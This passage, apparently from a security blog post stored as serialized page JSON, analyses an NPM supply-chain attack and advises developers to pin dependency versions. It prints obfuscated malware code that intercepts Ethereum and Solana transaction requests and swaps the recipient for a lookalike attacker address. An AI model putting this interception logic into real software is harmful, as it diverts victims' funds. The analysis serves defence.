type":31,"value":7262},{"type":25,"tag":216,"props":101870,"children":101871},{"style":6958},[101872],{"type":31,"value":7235},{"type":25,"tag":216,"props":101874,"children":101875},{"class":6916,"line":7251},[101876,101880,101884,101888,101892,101896,101900,101904,101908],{"type":25,"tag":216,"props":101877,"children":101878},{"style":6941},[101879],{"type":31,"value":47191},{"type":25,"tag":216,"props":101881,"children":101882},{"style":6947},[101883],{"type":31,"value":6950},{"type":25,"tag":216,"props":101885,"children":101886},{"style":6967},[101887],{"type":31,"value":40168},{"type":25,"tag":216,"props":101889,"children":101890},{"style":6941},[101891],{"type":31,"value":101659},{"type":25,"tag":216,"props":101893,"children":101894},{"style":6958},[101895],{"type":31,"value":179},{"type":25,"tag":216,"props":101897,"children":101898},{"style":7041},[101899],{"type":31,"value":19371},{"type":25,"tag":216,"props":101901,"children":101902},{"style":6958},[101903],{"type":31,"value":34123},{"type":25,"tag":216,"props":101905,"children":101906},{"style":7041},[101907],{"type":31,"value":31},{"type":25,"tag":216,"props":101909,"children":101910},{"style":6958},[101911],{"type":31,"value":7627},{"type":25,"tag":216,"props":101913,"children":101914},{"class":6916,"line":7269},[101915],{"type":25,"tag":216,"props":101916,"children":101917},{"style":6958},[101918],{"type":31,"value":9817},{"type":25,"tag":216,"props":101920,"children":101921},{"class":6916,"line":7290},[101922,101926,101931,101935,101940,101944,101948],{"type":25,"tag":216,"props":101923,"children":101924},{"style":6930},[101925],{"type":31,"value":40145},{"type":25,"tag":216,"props":101927,"children":101928},{"style":6941},[101929],{"type":31,"value":101930}," processedData",{"type":25,"tag":216,"props":101932,"children":101933},{"style":6947},[101934],{"type":31,"value":6950},{"type":25,"tag":216,"props":101936,"children":101937},{"style":7041},[101938],{"type":31,"value":101939}," replaceAddresses",{"type":25,"tag":216,"props":101941,"children":101942},{"style":6958},[101943],{"type":31,"value":1844},{"type":25,"tag":216,"props":101945,"children":101946},{"style":6941},[101947],{"type":31,"value":7663},{"type":25,"tag":216,"props":101949,"children":101950},{"style":6958},[101951],{"type":31,"value":7791},{"type":25,"tag":216,"props":101953,"children":101954},{"class":6916,"line":7299},[101955,101959,101964],{"type":25,"tag":216,"props":101956,"children":101957},{"style":6930},[101958],{"type":31,"value":40145},{"type":25,"tag":216,"props":101960,"children":101961},{"style":6941},[101962],{"type":31,"value":101963}," finalResponseText",{"type":25,"tag":216,"props":101965,"children":101966},{"style":6947},[101967],{"type":31,"value":39812},{"type":25,"tag":216,"props":101969,"children":101970},{"class":6916,"line":7551},[101971,101976,101980,101984,101989,101994,101998,102002,102006,102010,102014,102018,102023],{"type":25,"tag":216,"props":101972,"children":101973},{"style":6930},[101974],{"type":31,"value":101975},"    typeof",{"type":25,"tag":216,"props":101977,"children":101978},{"style":6941},[101979],{"type":31,"value":101930},{"type":25,"tag":216,"props":101981,"children":101982},{"style":6947},[101983],{"type":31,"value":35378},{"type":25,"tag":216,"props":101985,"children":101986},{"style":8199},[101987],{"type":31,"value":101988}," 'string'",{"type":25,"tag":216,"props":101990,"children":101991},{"style":6947},[101992],{"type":31,"value":101993}," ?",{"type":25,"tag":216,"props":101995,"children":101996},{"style":6941},[101997],{"type":31,"value":101930},{"type":25,"tag":216,"props":101999,"children":102000},{"style":6947},[102001],{"type":31,"value":39073},{"type":25,"tag":216,"props":102003,"children":102004},{"style":6941},[102005],{"type":31,"value":41485},{"type":25,"tag":216,"props":102007,"children":102008},{"style":6958},[102009],{"type":31,"value":179},{"type":25,"tag":216,"props":102011,"children":102012},{"style":7041},[102013],{"type":31,"value":43190},{"type":25,"tag":216,"props":102015,"children":102016},{"style":6958},[102017],{"type":31,"value":1844},{"type":25,"tag":216,"props":102019,"children":102020},{"style":6941},[102021],{"type":31,"value":102022},"processedData",{"type":25,"tag":216,"props":102024,"children":102025},{"style":6958},[102026],{"type":31,"value":7791},{"type":25,"tag":216,"props":102028,"children":102029},{"class":6916,"line":7568},[102030,102034,102039,102043,102047,102052,102056,102061],{"type":25,"tag":216,"props":102031,"children":102032},{"style":6930},[102033],{"type":31,"value":40145},{"type":25,"tag":216,"props":102035,"children":102036},{"style":6941},[102037],{"type":31,"value":102038}," finalResponse",{"type":25,"tag":216,"props":102040,"children":102041},{"style":6947},[102042],{"type":31,"value":6950},{"type":25,"tag":216,"props":102044,"children":102045},{"style":6930},[102046],{"type":31,"value":35889},{"type":25,"tag":216,"props":102048,"children":102049},{"style":7041},[102050],{"type":31,"value":102051}," Response",{"type":25,"tag":216,"props":102053,"children":102054},{"style":6958},[102055],{"type":31,"value":1844},{"type":25,"tag":216,"props":102057,"children":102058},{"style":6941},[102059],{"type":31,"value":102060},"finalResponseText",{"type":25,"tag":216,"props":102062,"children":102063},{"style":6958},[102064],{"type":31,"value":52845},{"type":25,"tag":216,"props":102066,"children":102067},{"class":6916,"line":7585},[102068,102073,102077,102081,102086],{"type":25,"tag":216,"props":102069,"children":102070},{"style":6941},[102071],{"type":31,"value":102072},"    status:",{"type":25,"tag":216,"props":102074,"children":102075},{"style":6941},[102076],{"type":31,"value":101659},{"type":25,"tag":216,"props":102078,"children":102079},{"style":6958},[102080],{"type":31,"value":179},{"type":25,"tag":216,"props":102082,"children":102083},{"style":6941},[102084],{"type":31,"value":102085},"status",{"type":25,"tag":216,"props":102087,"children":102088},{"style":6958},[102089],{"type":31,"value":7459},{"type":25,"tag":216,"props":102091,"children":102092},{"class":6916,"line":7598},[102093,102098,102102,102106,102111],{"type":25,"tag":216,"props":102094,"children":102095},{"style":6941},[102096],{"type":31,"value":102097},"    statusText:",{"type":25,"tag":216,"props":102099,"children":102100},{"style":6941},[102101],{"type":31,"value":101659},{"type":25,"tag":216,"props":102103,"children":102104},{"style":6958},[102105],{"type":31,"value":179},{"type":25,"tag":216,"props":102107,"children":102108},{"style":6941},[102109],{"type":31,"value":102110},"statusText",{"type":25,"tag":216,"props":102112,"children":102113},{"style":6958},[102114],{"type":31,"value":7459},{"type":25,"tag":216,"props":102116,"children":102117},{"class":6916,"line":7607},[102118,102123,102127,102131,102135],{"type":25,"tag":216,"props":102119,"children":102120},{"style":6941},[102121],{"type":31,"value":102122},"    headers:",{"type":25,"tag":216,"props":102124,"children":102125},{"style":6941},[102126],{"type":31,"value":101659},{"type":25,"tag":216,"props":102128,"children":102129},{"style":6958},[102130],{"type":31,"value":179},{"type":25,"tag":216,"props":102132,"children":102133},{"style":6941},[102134],{"type":31,"value":101733},{"type":25,"tag":216,"props":102136,"children":102137},{"style":6958},[102138],{"type":31,"value":7459},{"type":25,"tag":216,"props":102140,"children":102141},{"class":6916,"line":7630},[102142],{"type":25,"tag":216,"props":102143,"children":102144},{"style":6958},[102145],{"type":31,"value":102146},"  });\n",{"type":25,"tag":216,"props":102148,"children":102149},{"class":6916,"line":7639},[102150,102154,102158],{"type":25,"tag":216,"props":102151,"children":102152},{"style":6967},[102153],{"type":31,"value":43156},{"type":25,"tag":216,"props":102155,"children":102156},{"style":6941},[102157],{"type":31,"value":102038},{"type":25,"tag":216,"props":102159,"children":102160},{"style":6958},[102161],{"type":31,"value":6961},{"type":25,"tag":216,"props":102163,"children":102164},{"class":6916,"line":7648},[102165],{"type":25,"tag":216,"props":102166,"children":102167},{"style":6958},[102168],{"type":31,"value":20530},{"type":25,"tag":6705,"props":102170,"children":102171},{"start":6772},[102172],{"type":25,"tag":2037,"props":102173,"children":102174},{},[102175],{"type":31,"value":102176},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":25,"tag":206,"props":102178,"children":102180},{"code":102179,"language":35321,"meta":7,"className":35319,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[102181],{"type":25,"tag":82,"props":102182,"children":102183},{"__ignoreMap":7},[102184,102263,102274,102331,102371,102396,102411,102422,102456,102489,102508,102535,102543,102554,102594,102623,102651,102658,102698,102741,102785,102800,102839,102846,102870,102877],{"type":25,"tag":216,"props":102185,"children":102186},{"class":6916,"line":6917},[102187,102191,102195,102200,102204,102208,102212,102217,102221,102226,102230,102235,102239,102243,102247,102251,102255,102259],{"type":25,"tag":216,"props":102188,"children":102189},{"style":6967},[102190],{"type":31,"value":19531},{"type":25,"tag":216,"props":102192,"children":102193},{"style":6958},[102194],{"type":31,"value":7010},{"type":25,"tag":216,"props":102196,"children":102197},{"style":6941},[102198],{"type":31,"value":102199},"_0x2c3d7e",{"type":25,"tag":216,"props":102201,"children":102202},{"style":6958},[102203],{"type":31,"value":179},{"type":25,"tag":216,"props":102205,"children":102206},{"style":6941},[102207],{"type":31,"value":42270},{"type":25,"tag":216,"props":102209,"children":102210},{"style":6947},[102211],{"type":31,"value":35378},{"type":25,"tag":216,"props":102213,"children":102214},{"style":8199},[102215],{"type":31,"value":102216}," 'eth_sendTransaction'",{"type":25,"tag":216,"props":102218,"children":102219},{"style":6947},[102220],{"type":31,"value":18136},{"type":25,"tag":216,"props":102222,"children":102223},{"style":6941},[102224],{"type":31,"value":102225}," _0x2c3d7e",{"type":25,"tag":216,"props":102227,"children":102228},{"style":6958},[102229],{"type":31,"value":179},{"type":25,"tag":216,"props":102231,"children":102232},{"style":6941},[102233],{"type":31,"value":102234},"params",{"type":25,"tag":216,"props":102236,"children":102237},{"style":6947},[102238],{"type":31,"value":18136},{"type":25,"tag":216,"props":102240,"children":102241},{"style":6941},[102242],{"type":31,"value":102225},{"type":25,"tag":216,"props":102244,"children":102245},{"style":6958},[102246],{"type":31,"value":179},{"type":25,"tag":216,"props":102248,"children":102249},{"style":6941},[102250],{"type":31,"value":102234},{"type":25,"tag":216,"props":102252,"children":102253},{"style":6958},[102254],{"type":31,"value":7695},{"type":25,"tag":216,"props":102256,"children":102257},{"style":6983},[102258],{"type":31,"value":1876},{"type":25,"tag":216,"props":102260,"children":102261},{"style":6958},[102262],{"type":31,"value":44582},{"type":25,"tag":216,"props":102264,"children":102265},{"class":6916,"line":6763},[102266,102270],{"type":25,"tag":216,"props":102267,"children":102268},{"style":6967},[102269],{"type":31,"value":101302},{"type":25,"tag":216,"props":102271,"children":102272},{"style":6958},[102273],{"type":31,"value":7235},{"type":25,"tag":216,"props":102275,"children":102276},{"class":6916,"line":6772},[102277,102281,102286,102290,102295,102299,102303,102307,102311,102315,102319,102323,102327],{"type":25,"tag":216,"props":102278,"children":102279},{"style":6930},[102280],{"type":31,"value":55630},{"type":25,"tag":216,"props":102282,"children":102283},{"style":6941},[102284],{"type":31,"value":102285}," _0x39ad21",{"type":25,"tag":216,"props":102287,"children":102288},{"style":6947},[102289],{"type":31,"value":6950},{"type":25,"tag":216,"props":102291,"children":102292},{"style":7041},[102293],{"type":31,"value":102294}," _0x1089ae",{"type":25,"tag":216,"props":102296,"children":102297},{"style":6958},[102298],{"type":31,"value":1844},{"type":25,"tag":216,"props":102300,"children":102301},{"style":6941},[102302],{"type":31,"value":102199},{"type":25,"tag":216,"props":102304,"children":102305},{"style":6958},[102306],{"type":31,"value":179},{"type":25,"tag":216,"props":102308,"children":102309},{"style":6941},[102310],{"type":31,"value":102234},{"type":25,"tag":216,"props":102312,"children":102313},{"style":6958},[102314],{"type":31,"value":7695},{"type":25,"tag":216,"props":102316,"children":102317},{"style":6983},[102318],{"type":31,"value":1876},{"type":25,"tag":216,"props":102320,"children":102321},{"style":6958},[102322],{"type":31,"value":27000},{"type":25,"tag":216,"props":102324,"children":102325},{"style":6930},[102326],{"type":31,"value":230},{"type":25,"tag":216,"props":102328,"children":102329},{"style":6958},[102330],{"type":31,"value":7791},{"type":25,"tag":216,"props":102332,"children":102333},{"class":6916,"line":6999},[102334,102339,102343,102347,102351,102355,102359,102363,102367],{"type":25,"tag":216,"props":102335,"children":102336},{"style":6941},[102337],{"type":31,"value":102338},"    _0x2c3d7e",{"type":25,"tag":216,"props":102340,"children":102341},{"style":6958},[102342],{"type":31,"value":179},{"type":25,"tag":216,"props":102344,"children":102345},{"style":6941},[102346],{"type":31,"value":102234},{"type":25,"tag":216,"props":102348,"children":102349},{"style":6958},[102350],{"type":31,"value":7695},{"type":25,"tag":216,"props":102352,"children":102353},{"style":6983},[102354],{"type":31,"value":1876},{"type":25,"tag":216,"props":102356,"children":102357},{"style":6958},[102358],{"type":31,"value":12608},{"type":25,"tag":216,"props":102360,"children":102361},{"style":6947},[102362],{"type":31,"value":266},{"type":25,"tag":216,"props":102364,"children":102365},{"style":6941},[102366],{"type":31,"value":102285},{"type":25,"tag":216,"props":102368,"children":102369},{"style":6958},[102370],{"type":31,"value":6961},{"type":25,"tag":216,"props":102372,"children":102373},{"class":6916,"line":7104},[102374,102378,102382,102386,102391],{"type":25,"tag":216,"props":102375,"children":102376},{"style":6958},[102377],{"type":31,"value":35424},{"type":25,"tag":216,"props":102379,"children":102380},{"style":6967},[102381],{"type":31,"value":52374},{"type":25,"tag":216,"props":102383,"children":102384},{"style":6958},[102385],{"type":31,"value":7010},{"type":25,"tag":216,"props":102387,"children":102388},{"style":6941},[102389],{"type":31,"value":102390},"_0x226343",{"type":25,"tag":216,"props":102392,"children":102393},{"style":6958},[102394],{"type":31,"value":102395},") {}\n",{"type":25,"tag":216,"props":102397,"children":102398},{"class":6916,"line":7210},[102399,102403,102407],{"type":25,"tag":216,"props":102400,"children":102401},{"style":6958},[102402],{"type":31,"value":50836},{"type":25,"tag":216,"props":102404,"children":102405},{"style":6967},[102406],{"type":31,"value":7262},{"type":25,"tag":216,"props":102408,"children":102409},{"style":6958},[102410],{"type":31,"value":7235},{"type":25,"tag":216,"props":102412,"children":102413},{"class":6916,"line":7238},[102414,102418],{"type":25,"tag":216,"props":102415,"children":102416},{"style":6967},[102417],{"type":31,"value":35350},{"type":25,"tag":216,"props":102419,"children":102420},{"style":6958},[102421],{"type":31,"value":82532},{"type":25,"tag":216,"props":102423,"children":102424},{"class":6916,"line":7251},[102425,102430,102434,102438,102442,102446,102451],{"type":25,"tag":216,"props":102426,"children":102427},{"style":6958},[102428],{"type":31,"value":102429},"    (",{"type":25,"tag":216,"props":102431,"children":102432},{"style":6941},[102433],{"type":31,"value":102199},{"type":25,"tag":216,"props":102435,"children":102436},{"style":6958},[102437],{"type":31,"value":179},{"type":25,"tag":216,"props":102439,"children":102440},{"style":6941},[102441],{"type":31,"value":42270},{"type":25,"tag":216,"props":102443,"children":102444},{"style":6947},[102445],{"type":31,"value":35378},{"type":25,"tag":216,"props":102447,"children":102448},{"style":8199},[102449],{"type":31,"value":102450}," 'solana_signTransaction'",{"type":25,"tag":216,"props":102452,"children":102453},{"style":6947},[102454],{"type":31,"value":102455}," ||\n",{"type":25,"tag":216,"props":102457,"children":102458},{"class":6916,"line":7269},[102459,102464,102468,102472,102476,102481,102485],{"type":25,"tag":216,"props":102460,"children":102461},{"style":6941},[102462],{"type":31,"value":102463},"      _0x2c3d7e",{"type":25,"tag":216,"props":102465,"children":102466},{"style":6958},[102467],{"type":31,"value":179},{"type":25,"tag":216,"props":102469,"children":102470},{"style":6941},[102471],{"type":31,"value":42270},{"type":25,"tag":216,"props":102473,"children":102474},{"style":6947},[102475],{"type":31,"value":35378},{"type":25,"tag":216,"props":102477,"children":102478},{"style":8199},[102479],{"type":31,"value":102480}," 'solana_signAndSendTransaction'",{"type":25,"tag":216,"props":102482,"children":102483},{"style":6958},[102484],{"type":31,"value":7030},{"type":25,"tag":216,"props":102486,"children":102487},{"style":6947},[102488],{"type":31,"value":87781},{"type":25,"tag":216,"props":102490,"children":102491},{"class":6916,"line":7290},[102492,102496,102500,102504],{"type":25,"tag":216,"props":102493,"children":102494},{"style":6941},[102495],{"type":31,"value":102338},{"type":25,"tag":216,"props":102497,"children":102498},{"style":6958},[102499],{"type":31,"value":179},{"type":25,"tag":216,"props":102501,"children":102502},{"style":6941},[102503],{"type":31,"value":102234},{"type":25,"tag":216,"props":102505,"children":102506},{"style":6947},[102507],{"type":31,"value":56646},{"type":25,"tag":216,"props":102509,"children":102510},{"class":6916,"line":7299},[102511,102515,102519,102523,102527,102531],{"type":25,"tag":216,"props":102512,"children":102513},{"style":6941},[102514],{"type":31,"value":102338},{"type":25,"tag":216,"props":102516,"children":102517},{"style":6958},[102518],{"type":31,"value":179},{"type":25,"tag":216,"props":102520,"children":102521},{"style":6941},[102522],{"type":31,"value":102234},{"type":25,"tag":216,"props":102524,"children":102525},{"style":6958},[102526],{"type":31,"value":7695},{"type":25,"tag":216,"props":102528,"children":102529},{"style":6983},[102530],{"type":31,"value":1876},{"type":25,"tag":216,"props":102532,"children":102533},{"style":6958},[102534],{"type":31,"value":15722},{"type":25,"tag":216,"props":102536,"children":102537},{"class":6916,"line":7551},[102538],{"type":25,"tag":216,"props":102539,"children":102540},{"style":6958},[102541],{"type":31,"value":102542},"  ) {\n",{"type":25,"tag":216,"props":102544,"children":102545},{"class":6916,"line":7568},[102546,102550],{"type":25,"tag":216,"props":102547,"children":102548},{"style":6967},[102549],{"type":31,"value":73946},{"type":25,"tag":216,"props":102551,"children":102552},{"style":6958},[102553],{"type":31,"value":7235},{"type":25,"tag":216,"props":102555,"children":102556},{"class":6916,"line":7585},[102557,102561,102566,102570,102574,102578,102582,102586,102590],{"type":25,"tag":216,"props":102558,"children":102559},{"style":6930},[102560],{"type":31,"value":12021},{"type":25,"tag":216,"props":102562,"children":102563},{"style":6941},[102564],{"type":31,"value":102565}," _0x5ad975",{"type":25,"tag":216,"props":102567,"children":102568},{"style":6947},[102569],{"type":31,"value":6950},{"type":25,"tag":216,"props":102571,"children":102572},{"style":6941},[102573],{"type":31,"value":102225},{"type":25,"tag":216,"props":102575,"children":102576},{"style":6958},[102577],{"type":31,"value":179},{"type":25,"tag":216,"props":102579,"children":102580},{"style":6941},[102581],{"type":31,"value":102234},{"type":25,"tag":216,"props":102583,"children":102584},{"style":6958},[102585],{"type":31,"value":7695},{"type":25,"tag":216,"props":102587,"children":102588},{"style":6983},[102589],{"type":31,"value":1876},{"type":25,"tag":216,"props":102591,"children":102592},{"style":6958},[102593],{"type":31,"value":35530},{"type":25,"tag":216,"props":102595,"children":102596},{"class":6916,"line":7598},[102597,102601,102605,102610,102614,102619],{"type":25,"tag":216,"props":102598,"children":102599},{"style":6967},[102600],{"type":31,"value":43244},{"type":25,"tag":216,"props":102602,"children":102603},{"style":6958},[102604],{"type":31,"value":7010},{"type":25,"tag":216,"props":102606,"children":102607},{"style":6941},[102608],{"type":31,"value":102609},"_0x5ad975",{"type":25,"tag":216,"props":102611,"children":102612},{"style":6958},[102613],{"type":31,"value":179},{"type":25,"tag":216,"props":102615,"children":102616},{"style":6941},[102617],{"type":31,"value":102618},"transaction",{"type":25,"tag":216,"props":102620,"children":102621},{"style":6958},[102622],{"type":31,"value":18755},{"type":25,"tag":216,"props":102624,"children":102625},{"class":6916,"line":7607},[102626,102631,102635,102639,102643,102647],{"type":25,"tag":216,"props":102627,"children":102628},{"style":6941},[102629],{"type":31,"value":102630},"        _0x5ad975",{"type":25,"tag":216,"props":102632,"children":102633},{"style":6947},[102634],{"type":31,"value":6950},{"type":25,"tag":216,"props":102636,"children":102637},{"style":6941},[102638],{"type":31,"value":102565},{"type":25,"tag":216,"props":102640,"children":102641},{"style":6958},[102642],{"type":31,"value":179},{"type":25,"tag":216,"props":102644,"children":102645},{"style":6941},[102646],{"type":31,"value":102618},{"type":25,"tag":216,"props":102648,"children":102649},{"style":6958},[102650],{"type":31,"value":6961},{"type":25,"tag":216,"props":102652,"children":102653},{"class":6916,"line":7630},[102654],{"type":25,"tag":216,"props":102655,"children":102656},{"style":6958},[102657],{"type":31,"value":16614},{"type":25,"tag":216,"props":102659,"children":102660},{"class":6916,"line":7639},[102661,102665,102670,102674,102678,102682,102686,102690,102694],{"type":25,"tag":216,"props":102662,"children":102663},{"style":6930},[102664],{"type":31,"value":35503},{"type":25,"tag":216,"props":102666,"children":102667},{"style":6941},[102668],{"type":31,"value":102669}," _0x5dbe63",{"type":25,"tag":216,"props":102671,"children":102672},{"style":6947},[102673],{"type":31,"value":6950},{"type":25,"tag":216,"props":102675,"children":102676},{"style":7041},[102677],{"type":31,"value":102294},{"type":25,"tag":216,"props":102679,"children":102680},{"style":6958},[102681],{"type":31,"value":1844},{"type":25,"tag":216,"props":102683,"children":102684},{"style":6941},[102685],{"type":31,"value":102609},{"type":25,"tag":216,"props":102687,"children":102688},{"style":6958},[102689],{"type":31,"value":7020},{"type":25,"tag":216,"props":102691,"children":102692},{"style":6930},[102693],{"type":31,"value":12121},{"type":25,"tag":216,"props":102695,"children":102696},{"style":6958},[102697],{"type":31,"value":7791},{"type":25,"tag":216,"props":102699,"children":102700},{"class":6916,"line":7648},[102701,102705,102709,102713,102717,102721,102725,102729,102733,102737],{"type":25,"tag":216,"props":102702,"children":102703},{"style":6967},[102704],{"type":31,"value":43244},{"type":25,"tag":216,"props":102706,"children":102707},{"style":6958},[102708],{"type":31,"value":7010},{"type":25,"tag":216,"props":102710,"children":102711},{"style":6941},[102712],{"type":31,"value":102199},{"type":25,"tag":216,"props":102714,"children":102715},{"style":6958},[102716],{"type":31,"value":179},{"type":25,"tag":216,"props":102718,"children":102719},{"style":6941},[102720],{"type":31,"value":102234},{"type":25,"tag":216,"props":102722,"children":102723},{"style":6958},[102724],{"type":31,"value":7695},{"type":25,"tag":216,"props":102726,"children":102727},{"style":6983},[102728],{"type":31,"value":1876},{"type":25,"tag":216,"props":102730,"children":102731},{"style":6958},[102732],{"type":31,"value":54311},{"type":25,"tag":216,"props":102734,"children":102735},{"style":6941},[102736],{"type":31,"value":102618},{"type":25,"tag":216,"props":102738,"children":102739},{"style":6958},[102740],{"type":31,"value":18755},{"type":25,"tag":216,"props":102742,"children":102743},{"class":6916,"line":7716},[102744,102749,102753,102757,102761,102765,102769,102773,102777,102781],{"type":25,"tag":216,"props":102745,"children":102746},{"style":6941},[102747],{"type":31,"value":102748},"        _0x2c3d7e",{"type":25,"tag":216,"props":102750,"children":102751},{"style":6958},[102752],{"type":31,"value":179},{"type":25,"tag":216,"props":102754,"children":102755},{"style":6941},[102756],{"type":31,"value":102234},{"type":25,"tag":216,"props":102758,"children":102759},{"style":6958},[102760],{"type":31,"value":7695},{"type":25,"tag":216,"props":102762,"children":102763},{"style":6983},[102764],{"type":31,"value":1876},{"type":25,"tag":216,"props":102766,"children":102767},{"style":6958},[102768],{"type":31,"value":54311},{"type":25,"tag":216,"props":102770,"children":102771},{"style":6941},[102772],{"type":31,"value":102618},{"type":25,"tag":216,"props":102774,"children":102775},{"style":6947},[102776],{"type":31,"value":6950},{"type":25,"tag":216,"props":102778,"children":102779},{"style":6941},[102780],{"type":31,"value":102669},{"type":25,"tag":216,"props":102782,"children":102783},{"style":6958},[102784],{"type":31,"value":6961},{"type":25,"tag":216,"props":102786,"children":102787},{"class":6916,"line":7724},[102788,102792,102796],{"type":25,"tag":216,"props":102789,"children":102790},{"style":6958},[102791],{"type":31,"value":42897},{"type":25,"tag":216,"props":102793,"children":102794},{"style":6967},[102795],{"type":31,"value":7262},{"type":25,"tag":216,"props":102797,"children":102798},{"style":6958},[102799],{"type":31,"value":7235},{"type":25,"tag":216,"props":102801,"children":102802},{"class":6916,"line":7754},[102803,102807,102811,102815,102819,102823,102827,102831,102835],{"type":25,"tag":216,"props":102804,"children":102805},{"style":6941},[102806],{"type":31,"value":102748},{"type":25,"tag":216,"props":102808,"children":102809},{"style":6958},[102810],{"type":31,"value":179},{"type":25,"tag":216,"props":102812,"children":102813},{"style":6941},[102814],{"type":31,"value":102234},{"type":25,"tag":216,"props":102816,"children":102817},{"style":6958},[102818],{"type":31,"value":7695},{"type":25,"tag":216,"props":102820,"children":102821},{"style":6983},[102822],{"type":31,"value":1876},{"type":25,"tag":216,"props":102824,"children":102825},{"style":6958},[102826],{"type":31,"value":12608},{"type":25,"tag":216,"props":102828,"children":102829},{"style":6947},[102830],{"type":31,"value":266},{"type":25,"tag":216,"props":102832,"children":102833},{"style":6941},[102834],{"type":31,"value":102669},{"type":25,"tag":216,"props":102836,"children":102837},{"style":6958},[102838],{"type":31,"value":6961},{"type":25,"tag":216,"props":102840,"children":102841},{"class":6916,"line":7762},[102842],{"type":25,"tag":216,"props":102843,"children":102844},{"style":6958},[102845],{"type":31,"value":16614},{"type":25,"tag":216,"props":102847,"children":102848},{"class":6916,"line":7794},[102849,102853,102857,102861,102866],{"type":25,"tag":216,"props":102850,"children":102851},{"style":6958},[102852],{"type":31,"value":19731},{"type":25,"tag":216,"props":102854,"children":102855},{"style":6967},[102856],{"type":31,"value":52374},{"type":25,"tag":216,"props":102858,"children":102859},{"style":6958},[102860],{"type":31,"value":7010},{"type":25,"tag":216,"props":102862,"children":102863},{"style":6941},[102864],{"type":31,"value":102865},"_0x4b99fd",{"type":25,"tag":216,"props":102867,"children":102868},{"style":6958},[102869],{"type":31,"value":102395},{"type":25,"tag":216,"props":102871,"children":102872},{"class":6916,"line":7802},[102873],{"type":25,"tag":216,"props":102874,"children":102875},{"style":6958},[102876],{"type":31,"value":9817},{"type":25,"tag":216,"props":102878,"children":102879},{"class":6916,"line":7862},[102880],{"type":25,"tag":216,"props":102881,"children":102882},{"style":6958},[102883],{"type":31,"value":7868},{"type":25,"tag":607,"props":102885,"children":102887},{"id":102886},"impact-of-the-attack",[102888],{"type":31,"value":102889},"Impact of the Attack",{"type":25,"tag":38,"props":102891,"children":102892},{},[102893],{"type":31,"value":102894},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":25,"tag":26,"props":102896,"children":102898},{"id":102897},"why-it-will-happen-again",[102899],{"type":31,"value":102900},"Why It Will Happen Again",{"type":25,"tag":38,"props":102902,"children":102903},{},[102904],{"type":31,"value":102905},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":25,"tag":38,"props":102907,"children":102908},{},[102909],{"type":31,"value":102910},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":25,"tag":26,"props":102912,"children":102914},{"id":102913},"what-developers-can-do",[102915],{"type":31,"value":102916},"What Developers Can Do",{"type":25,"tag":38,"props":102918,"children":102919},{},[102920],{"type":31,"value":102921},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":25,"tag":607,"props":102923,"children":102925},{"id":102924},"_1-version-pinning-in-packagejson",[102926,102928],{"type":31,"value":102927},"1. Version pinning in ",{"type":25,"tag":82,"props":102929,"children":102931},{"className":102930},[],[102932],{"type":31,"value":102933},"package.json",{"type":25,"tag":38,"props":102935,"children":102936},{},[102937],{"type":31,"value":102938},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":25,"tag":38,"props":102940,"children":102941},{},[102942,102944,102950,102952,102957,102959,102964],{"type":31,"value":102943},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":25,"tag":82,"props":102945,"children":102947},{"className":102946},[],[102948],{"type":31,"value":102949},"npm install",{"type":31,"value":102951},". To pin it, just make sure to remove the caret ",{"type":25,"tag":82,"props":102953,"children":102955},{"className":102954},[],[102956],{"type":31,"value":52897},{"type":31,"value":102958}," symbol before the version in ",{"type":25,"tag":82,"props":102960,"children":102962},{"className":102961},[],[102963],{"type":31,"value":102933},{"type":31,"value":1466},{"type":25,"tag":206,"props":102966,"children":102968},{"code":102967,"language":37954,"meta":7,"className":37952,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[102969],{"type":25,"tag":82,"props":102970,"children":102971},{"__ignoreMap":7},[102972,102993,103014,103035],{"type":25,"tag":216,"props":102973,"children":102974},{"class":6916,"line":6917},[102975,102980,102984,102989],{"type":25,"tag":216,"props":102976,"children":102977},{"style":8199},[102978],{"type":31,"value":102979},"\"@react-native-async-storage/async-storage\"",{"type":25,"tag":216,"props":102981,"children":102982},{"style":6958},[102983],{"type":31,"value":19282},{"type":25,"tag":216,"props":102985,"children":102986},{"style":8199},[102987],{"type":31,"value":102988},"\"1.23.1\"",{"type":25,"tag":216,"props":102990,"children":102991},{"style":6958},[102992],{"type":31,"value":7459},{"type":25,"tag":216,"props":102994,"children":102995},{"class":6916,"line":6763},[102996,103001,103005,103010],{"type":25,"tag":216,"props":102997,"children":102998},{"style":8199},[102999],{"type":31,"value":103000},"\"@react-native-community/datetimepicker\"",{"type":25,"tag":216,"props":103002,"children":103003},{"style":6958},[103004],{